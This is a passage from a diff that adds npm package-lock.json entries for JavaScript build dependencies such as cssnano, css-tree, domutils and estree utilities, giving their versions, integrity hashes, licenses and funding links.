"https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/css-select": { + "version": "5.2.2", + "integrity": "sha512-TizTzUddG/xYLA3NXodFM0fSbNizXjOKhqiQQwvhlspadZokn1KDy0NZFS0wuEubIYAV5/c1/lAr0TaaFXEXzw==", + "license": "BSD-2-Clause", + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "^6.1.0", + "domhandler": "^5.0.2", + "domutils": "^3.0.1", + "nth-check": "^2.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/css-tree": { + "version": "2.3.1", + "integrity": "sha512-6Fv1DV/TYw//QF5IzQdqsNDjx/wc8TrMBZsqjL9eW01tWb7R7k/mq+/VXfJCl7SoD5emsJop9cOByJZfs8hYIw==", + "license": "MIT", + "dependencies": { + "mdn-data": "2.0.30", + "source-map-js": "^1.0.1" + }, + "engines": { + "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0" + } + }, + "node_modules/css-what": { + "version": "6.2.2", + "integrity": "sha512-u/O3vwbptzhMs3L1fQE82ZSLHQQfto5gyZzwteVIEyeaY5Fc7R4dapF/BvRoSYFeqfBk4m0V1Vafq5Pjv25wvA==", + "license": "BSD-2-Clause", + "engines": { + "node": ">= 6" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/cssdb": { + "version": "8.9.0", + "integrity": "sha512-J8jOU/hLjaXcO1LldOLraJSQpfLXRKof0I7mtbRyOy2AAXgqst0x9rlgi2qXeD6d0ou3ZLqcPAMqYVbpCbrxEw==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + } + ], + "license": "MIT-0" + }, + "node_modules/cssesc": { + "version": "3.0.0", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "license": "MIT", + "bin": { + "cssesc": "bin/cssesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cssnano": { + "version": "6.1.2", + "integrity": "sha512-rYk5UeX7VAM/u0lNqewCdasdtPK81CgX8wJFLEIXHbV2oldWRgJAsZrdhRXkV1NJzA2g850KiFm9mMU2HxNxMA==", + "license": "MIT", + "dependencies": { + "cssnano-preset-default": "^6.1.2", + "lilconfig": "^3.1.1" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/cssnano" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/cssnano-preset-advanced": { + "version": "6.1.2", + "integrity": "sha512-Nhao7eD8ph2DoHolEzQs5CfRpiEP0xa1HBdnFZ82kvqdmbwVBUr2r1QuQ4t1pi+D1ZpqpcO4T+wy/7RxzJ/WPQ==", + "license": "MIT", + "dependencies": { + "autoprefixer": "^10.4.19", + "browserslist": "^4.23.0", + "cssnano-preset-default": "^6.1.2", + "postcss-discard-unused": "^6.0.5", + "postcss-merge-idents": "^6.0.3", + "postcss-reduce-idents": "^6.0.3", + "postcss-zindex": "^6.0.2" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/cssnano-preset-default": { + "version": "6.1.2", + "integrity": "sha512-1C0C+eNaeN8OcHQa193aRgYexyJtU8XwbdieEjClw+J9d94E41LwT6ivKH0WT+fYwYWB0Zp3I3IZ7tI/BbUbrg==", + "license": "MIT", + "dependencies": { + "browserslist": "^4.23.0", + "css-declaration-sorter": "^7.2.0", + "cssnano-utils": "^4.0.2", + "postcss-calc": "^9.0.1", + "postcss-colormin": "^6.1.0", + "postcss-convert-values": "^6.1.0", + "postcss-discard-comments": "^6.0.2", + "postcss-discard-duplicates": "^6.0.3", + "postcss-discard-empty": "^6.0.3", + "postcss-discard-overridden": "^6.0.2", + "postcss-merge-longhand": "^6.0.5", + "postcss-merge-rules": "^6.1.1", + "postcss-minify-font-values": "^6.1.0", + "postcss-minify-gradients": "^6.0.3", + "postcss-minify-params": "^6.1.0", + "postcss-minify-selectors": "^6.0.4", + "postcss-normalize-charset": "^6.0.2", + "postcss-normalize-display-values": "^6.0.2", + "postcss-normalize-positions": "^6.0.2", + "postcss-normalize-repeat-style": "^6.0.2", + "postcss-normalize-string": "^6.0.2", + "postcss-normalize-timing-functions": "^6.0.2", + "postcss-normalize-unicode": "^6.1.0", + "postcss-normalize-url": "^6.0.2", + "postcss-normalize-whitespace": "^6.0.2", + "postcss-ordered-values": "^6.0.2", + "postcss-reduce-initial": "^6.1.0", + "postcss-reduce-transforms": "^6.0.2", + "postcss-svgo": "^6.0.3", + "postcss-unique-selectors": "^6.0.4" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/cssnano-utils": { + "version": "4.0.2", + "integrity": "sha512-ZR1jHg+wZ8o4c3zqf1SIUSTIvm/9mU343FMR6Obe/unskbvpGhZOo1J6d/r8D1pzkRQYuwbcH3hToOuoA2G7oQ==", + "license": "MIT", + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/csso": { + "version": "5.0.5", + "integrity": "sha512-0LrrStPOdJj+SPCCrGhzryycLjwcgUSHBtxNA8aIDxf0GLsRh1cKYhB00Gd1lDOS4yGH69+SNn13+TWbVHETFQ==", + "license": "MIT", + "dependencies": { + "css-tree": "~2.2.0" + }, + "engines": { + "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0", + "npm": ">=7.0.0" + } + }, + "node_modules/csso/node_modules/css-tree": { + "version": "2.2.1", + "integrity": "sha512-OA0mILzGc1kCOCSJerOeqDxDQ4HOh+G8NbOJFOTgOCzpw7fCBubk0fEyxp8AgOL/jvLgYA/uV0cMbe43ElF1JA==", + "license": "MIT", + "dependencies": { + "mdn-data": "2.0.28", + "source-map-js": "^1.0.1" + }, + "engines": { + "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0", + "npm": ">=7.0.0" + } + }, + "node_modules/csso/node_modules/mdn-data": { + "version": "2.0.28", + "integrity": "sha512-aylIc7Z9y4yzHYAJNuESG3hfhC+0Ibp/MAMiaOZgNv4pmEdFyfZhhhny4MNiAfWdBQ1RQ2mfDWmM1x8SvGyp8g==", + "license": "CC0-1.0" + }, + "node_modules/csstype": { + "version": "3.2.3", + "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", + "license": "MIT" + }, + "node_modules/debounce": { + "version": "1.2.1", + "integrity": "sha512-XRRe6Glud4rd/ZGQfiV1ruXSfbvfJedlV9Y6zOlP+2K04vBYiJEte6stfFkCP03aMnY5tsipamumUjL14fofug==", + "license": "MIT" + }, + "node_modules/debug": { + "version": "4.4.3", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decode-named-character-reference": { + "version": "1.3.0", + "integrity": "sha512-GtpQYB283KrPp6nRw50q3U9/VfOutZOe103qlN7BPP6Ad27xYnOIWv4lPzo8HCAL+mMZofJ9KEy30fq6MfaK6Q==", + "license": "MIT", + "dependencies": { + "character-entities": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/decompress-response": { + "version": "6.0.0", + "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", + "license": "MIT", + "dependencies": { + "mimic-response": "^3.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/decompress-response/node_modules/mimic-response": { + "version": "3.1.0", + "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/deep-extend": { + "version": "0.6.0", + "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", + "license": "MIT", + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/deepmerge": { + "version": "4.3.1", + "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/default-browser": { + "version": "5.5.0", + "integrity": "sha512-H9LMLr5zwIbSxrmvikGuI/5KGhZ8E2zH3stkMgM5LpOWDutGM2JZaj460Udnf1a+946zc7YBgrqEWwbk7zHvGw==", + "license": "MIT", + "dependencies": { + "bundle-name": "^4.1.0", + "default-browser-id": "^5.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/default-browser-id": { + "version": "5.0.1", + "integrity": "sha512-x1VCxdX4t+8wVfd1so/9w+vQ4vx7lKd2Qp5tDRutErwmR85OgmfX7RlLRMWafRMY7hbEiXIbudNrjOAPa/hL8Q==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/defer-to-connect": { + "version": "2.0.1", + "integrity": "sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/define-data-property": { + "version": "1.1.4", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "license": "MIT", + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/define-lazy-prop": { + "version": "2.0.0", + "integrity": "sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/define-properties": { + "version": "1.2.1", + "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==", + "license": "MIT", + "dependencies": { + "define-data-property": "^1.0.1", + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/depd": { + "version": "2.0.0", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/dequal": { + "version": "2.0.3", + "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/destroy": { + "version": "1.2.0", + "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==", + "license": "MIT", + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/detect-node": { + "version": "2.1.0", + "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==", + "license": "MIT" + }, + "node_modules/detect-port": { + "version": "2.1.0", + "integrity": "sha512-epZuWb/6Q62L+nDHJc/hQAqf8pylsqgk3BpZXVBx1CDnr3nkrVNn73Uu1rXcFzkNcc+hkP3whuOg7JZYaQB65Q==", + "license": "MIT", + "dependencies": { + "address": "^2.0.1" + }, + "bin": { + "detect": "dist/commonjs/bin/detect-port.js", + "detect-port": "dist/commonjs/bin/detect-port.js" + }, + "engines": { + "node": ">= 16.0.0" + } + }, + "node_modules/devlop": { + "version": "1.1.0", + "integrity": "sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==", + "license": "MIT", + "dependencies": { + "dequal": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/dir-glob": { + "version": "3.0.1", + "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "license": "MIT", + "dependencies": { + "path-type": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/dns-packet": { + "version": "5.6.1", + "integrity": "sha512-l4gcSouhcgIKRvyy99RNVOgxXiicE+2jZoNmaNmZ6JXiGajBOJAesk1OBlJuM5k2c+eudGdLxDqXuPCKIj6kpw==", + "license": "MIT", + "dependencies": { + "@leichtgewicht/ip-codec": "^2.0.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/dom-converter": { + "version": "0.2.0", + "integrity": "sha512-gd3ypIPfOMr9h5jIKq8E3sHOTCjeirnl0WK5ZdS1AW0Odt0b1PaWaHdJ4Qk4klv+YB9aJBS7mESXjFoDQPu6DA==", + "license": "MIT", + "dependencies": { + "utila": "~0.4" + } + }, + "node_modules/dom-serializer": { + "version": "2.0.0", + "integrity": "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==", + "license": "MIT", + "dependencies": { + "domelementtype": "^2.3.0", + "domhandler": "^5.0.2", + "entities": "^4.2.0" + }, + "funding": { + "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" + } + }, + "node_modules/domelementtype": { + "version": "2.3.0", + "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ], + "license": "BSD-2-Clause" + }, + "node_modules/domhandler": { + "version": "5.0.3", + "integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==", + "license": "BSD-2-Clause", + "dependencies": { + "domelementtype": "^2.3.0" + }, + "engines": { + "node": ">= 4" + }, + "funding": { + "url": "https://github.com/fb55/domhandler?sponsor=1" + } + }, + "node_modules/domutils": { + "version": "3.2.2", + "integrity": "sha512-6kZKyUajlDuqlHKVX1w7gyslj9MPIXzIFiz/rGu35uC1wMi+kMhQwGhl4lt9unC9Vb9INnY9Z3/ZA3+FhASLaw==", + "license": "BSD-2-Clause", + "dependencies": { + "dom-serializer": "^2.0.0", + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3" + }, + "funding": { + "url": "https://github.com/fb55/domutils?sponsor=1" + } + }, + "node_modules/dot-case": { + "version": "3.0.4", + "integrity": "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==", + "license": "MIT", + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/dot-prop": { + "version": "6.0.1", + "integrity": "sha512-tE7ztYzXHIeyvc7N+hR3oi7FIbf/NIjVP9hmAt3yMXzrQ072/fpjGLx2GxNxGxUl5V73MEqYzioOMoVhGMJ5cA==", + "license": "MIT", + "dependencies": { + "is-obj": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/dot-prop/node_modules/is-obj": { + "version": "2.0.0", + "integrity": "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/duplexer": { + "version": "0.1.2", + "integrity": "sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==", + "license": "MIT" + }, + "node_modules/eastasianwidth": { + "version": "0.2.0", + "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==", + "license": "MIT" + }, + "node_modules/ee-first": { + "version": "1.1.1", + "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==", + "license": "MIT" + }, + "node_modules/electron-to-chromium": { + "version": "1.5.393", + "integrity": "sha512-kiDJdIUawuEIcp9XoICKp1iTYDEbgguIPq526N1Q7jIQDeQ3CqoMx71025PI/7E48Ddtw2HuWsVjY7afEgNxmg==", + "license": "ISC" + }, + "node_modules/emoji-regex": { + "version": "9.2.2", + "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", + "license": "MIT" + }, + "node_modules/emojilib": { + "version": "2.4.0", + "integrity": "sha512-5U0rVMU5Y2n2+ykNLQqMoqklN9ICBT/KsvC1Gz6vqHbz2AXXGkG+Pm5rMWk/8Vjrr/mY9985Hi8DYzn1F09Nyw==", + "license": "MIT" + }, + "node_modules/emojis-list": { + "version": "3.0.0", + "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==", + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/emoticon": { + "version": "4.1.0", + "integrity": "sha512-VWZfnxqwNcc51hIy/sbOdEem6D+cVtpPzEEtVAFdaas30+1dgkyaOQ4sQ6Bp0tOMqWO1v+HQfYaoodOkdhK6SQ==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/encodeurl": { + "version": "2.0.0", + "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/enhanced-resolve": { + "version": "5.24.2", + "integrity": "sha512-rpsZEGT1jFuve6QlpyRp9ckQ+kN61hvF9BzCPyMdaKTm8UJce96KBn3sorXOFXlzjPrs3Vc4T1NsSroZ3PxlFw==", + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.4", + "tapable": "^2.3.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/entities": { + "version": "4.5.0", + "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/error-ex": { + "version": "1.3.4", + "integrity": "sha512-sqQamAnR14VgCr1A618A3sGrygcpK+HEbenA/HiEAkkUwcZIIB/tgWqHFxWgOyDh4nB4JCRimh79dR5Ywc9MDQ==", + "license": "MIT", + "dependencies": { + "is-arrayish": "^0.2.1" + } + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-module-lexer": { + "version": "2.3.1", + "integrity": "sha512-shc1dbU90Yl/xq1QrC7QRtfcwURZuVRfPhZbDoldJ1cn1gzDvBaBWlv0eFolj5+0znnPJz5TXLxsN77X/12KTA==", + "license": "MIT" + }, + "node_modules/es-object-atoms": { + "version": "1.1.2", + "integrity": "sha512-HWcBoN6NileqtSydK2FqHbS/LoDd2pqrnQHLyJzBj4kOp/ky2MWMN694xOfkK8/SnUsW2DH7EfyVlydKCsm1Zw==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/esast-util-from-estree": { + "version": "2.0.0", + "integrity": "sha512-4CyanoAudUSBAn5K13H4JhsMH6L9ZP7XbLVe/dKybkxMO7eDyLsT8UHl9TRNrU2Gr9nz+FovfSIjuXWJ81uVwQ==", + "license": "MIT", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "devlop": "^1.0.0", + "estree-util-visit": "^2.0.0", + "unist-util-position-from-estree": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/esast-util-from-js": { + "version": "2.0.1", + "integrity": "sha512-8Ja+rNJ0Lt56Pcf3TAmpBZjmx8ZcK5Ts4cAzIOjsjevg9oSXJnl6SUQ2EevU8tv3h6ZLWmoKL5H4fgWvdvfETw==", + "license": "MIT", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "acorn": "^8.0.0", + "esast-util-from-estree": "^2.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/escalade": { + "version": "3.2.0", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-goat": { + "version": "4.0.0", + "integrity": "sha512-2Sd4ShcWxbx6OY1IHyla/CVNwvg7XwZVoXZHcSu9w9SReNP1EzzD5T8NWKIR38fIqEns9kDWKUQTXXAmlDrdPg==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/escape-html": { + "version": "1.0.3", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==", + "license": "MIT" + }, + "node_modules/escape-string-regexp": { + "version": "4.0.0", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint-scope": { + "version": "5.1.1", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "license": "BSD-2-Clause", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "license": "BSD-2-Clause", + "dependencies": { + "estraverse": "^5.2.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/esrecurse/node_modules/estraverse": { + "version": "5.3.0", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "4.3.0", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estree-util-attach-comments": { + "version": "3.0.0", + "integrity": "sha512-cKUwm/HUcTDsYh/9FgnuFqpfquUbwIqwKM26BVCGDPVgvaCl/nDCCjUfiLlx6lsEZ3Z4RFxNbOQ60pkaEwFxGw==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/estree-util-build-jsx": { + "version": "3.0.1", + "integrity": "sha512-8U5eiL6BTrPxp/CHbs2yMgP8ftMhR5ww1eIKoWRMlqvltHF8fZn5LRDvTKuxD3DUn+shRbLGqXemcP51oFCsGQ==", + "license": "MIT", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "devlop": "^1.0.0", + "estree-util-is-identifier-name": "^3.0.0", + "estree-walker": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/estree-util-is-identifier-name": { + "version": "3.0.0", + "integrity": "sha512-hFtqIDZTIUZ9BXLb8y4pYGyk6+wekIivNVTcmvk8NoOh+VeRn5y6cEHzbURrWbfp1fIqdVipilzj+lfaadNZmg==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/estree-util-scope": { + "version": "1.0.0", + "integrity": "sha512-2CAASclonf+JFWBNJPndcOpA8EMJwa0Q8LUFJEKqXLW6+qBvbFZuF5gItbQOs/umBUkjviCSDCbBwU2cXbmrhQ==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "devlop": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/estree-util-to-js": { + "version": "2.0.0", + "integrity": "sha512-WDF+xj5rRWmD5tj6bIqRi6CkLIXbbNQUcxQHzGysQzvHmdYG2G7p/Tf0J0gpxGgkeMZNTIjT/AoSvC9Xehcgdg==", + "license": "MIT", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "astring": "^1.8.0", + "source-map": "^0.7.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/estree-util-value-to-estree": { + "version": "3.5.0", + "integrity": "sha512-aMV56R27Gv3QmfmF1MY12GWkGzzeAezAX+UplqHVASfjc9wNzI/X6hC0S9oxq61WT4aQesLGslWP9tKk6ghRZQ==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/remcohaszing" + } + }, + "node_modules/estree-util-visit": { + "version": "2.0.0", + "integrity": "sha512-m5KgiH85xAhhW8Wta0vShLcUvOsh3LLPI2YVwcbio1l7E09NTLL1EyMZFM1OyWowoH0skScNbhOPl4kcBgzTww==", + "license": "MIT", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/estree-walker": { + "version": "3.0.3", + "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0" + } + }, + "node_modules/esutils": { + "version": "2.0.3", + 